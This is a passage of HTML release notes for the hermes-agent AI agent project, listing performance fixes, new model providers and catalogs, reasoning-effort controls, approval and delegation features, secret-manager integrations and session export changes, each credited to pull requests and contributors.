<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
